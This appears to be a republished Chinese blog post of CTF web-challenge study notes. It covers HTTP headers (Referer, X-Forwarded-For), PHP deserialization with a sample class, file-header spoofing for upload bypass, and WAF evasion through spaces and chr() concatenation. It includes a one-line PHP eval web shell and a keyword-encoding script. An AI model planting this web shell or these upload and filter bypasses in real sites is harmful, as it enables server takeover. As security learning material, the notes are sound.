ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

web刷题总结(未完.......)

2021-10-02 09:33:46  阅读:178  来源: 互联网

标签:web 请求 ....... 代理服务器 echo IP地址 XFF proxy3 刷题


总结

一、HTTP类

1. Referer

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,

告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

2. X-Forwarded-For

    当今多数缓存服务器的使用者为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下, 这些代理服务器是透明代理, 用户甚至不知道自己正在使用代理上网。
    如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址(而非连接发起的原始IP地址), 这样的代理服务器实际上充当了匿名服务提供者的角色, 如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。XFF的有效性依赖于代理服务器提供的连接原始IP地址的真实性,因此, XFF的有效使用应该保证代理服务器是可信的, 比如可以通过建立可信服务器白名单的方式。

这一HTTP头一般格式如下:
         X-Forwarded-For: client1, proxy1, proxy2, proxy3
    其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时,XFF是空的,请求被发往proxy1;通过proxy1的时候,client1被添加到XFF中,之后请求被发往proxy2;通过proxy2的时候,proxy1被添加到XFF中,之后请求被发往proxy3;通过proxy3时,proxy2被添加到XFF中,之后请求的的去向不明,如果proxy3不是请求终点,请求会被继续转发。
    鉴于伪造这一字段非常容易,应该谨慎使用X-Forwarded-For字段。正常情况下XFF中最后一个IP地址是最后一个代理服务器的IP地址, 这通常是一个比较可靠的信息来源。

二、PHP类

1. 后缀phtml

phtml可以替代php
.phtml是PHP 2程序的标准文件扩展名。 .php3接管了PHP 3.当PHP 4出来时,他们切换到直接.php。
较旧的文件扩展名有时仍被使用,但并不常见。
.phtml文件告诉网络服务器,这些文件是由服务器生成的带有动态内容的html文件,就像浏览器中的.php文件表现一样。 因此,在高效使用中,您应该体验到.phtml与.php文件没有任何区别。

一句话木马格式:
<script language="php">eval($_POST['shell']);</script> 

2. 输出内容的方法

echo

print

var_dump (调试时多使用,也可以输出内容)

3. 反序列化

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            //global $flag;
            echo "success!!!!";
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}

$name=new Name("admin",100);
var_dump(serialize($name));
?>

序列化:serialize()

反序列化:unserialize()

TIPS:

public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置

绕过正则匹配,使用+号。 url编码为 %2b

__construct:构造方法,unserialize() 时不会直接调用
__destruct:析构方法:
__wakeup:执行unserialize() 时,会先调用这个函数

三、文件上传

1. 常见文件头

JPEG (jpg),文件头:FFD8FF

PNG (png),文件头:89504E47                      

GIF (gif),文件头:47494638(GIF89a)

一般使用gif的文件头,因为他容易构造(不需要使用16进制修改),只需在文件头加上GIF89a

四、WAF绕过姿势

1. 变量前加空格

​ PHP在解析时,会将空格自动去除,但waf此时已经找不到对应的变量了,从而实现绕过

2. 关键字绕过

​ 用char()转ascii再进行拼接
​ 自动转chr脚本:

keyword=input("请输入需要转ASCII码的字符:")
result=[]

for i in range(0, len(keyword)):
    print(keyword[i],"的ASCII码为:",ord(keyword[i]))
    result.insert(i,"chr(%d"%(ord(keyword[i]))+")")

print("结果为:")
print(".".join(result))

标签:web,请求,.......,代理服务器,echo,IP地址,XFF,proxy3,刷题
来源: https://www.cnblogs.com/Sentry-fei/p/15361339.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有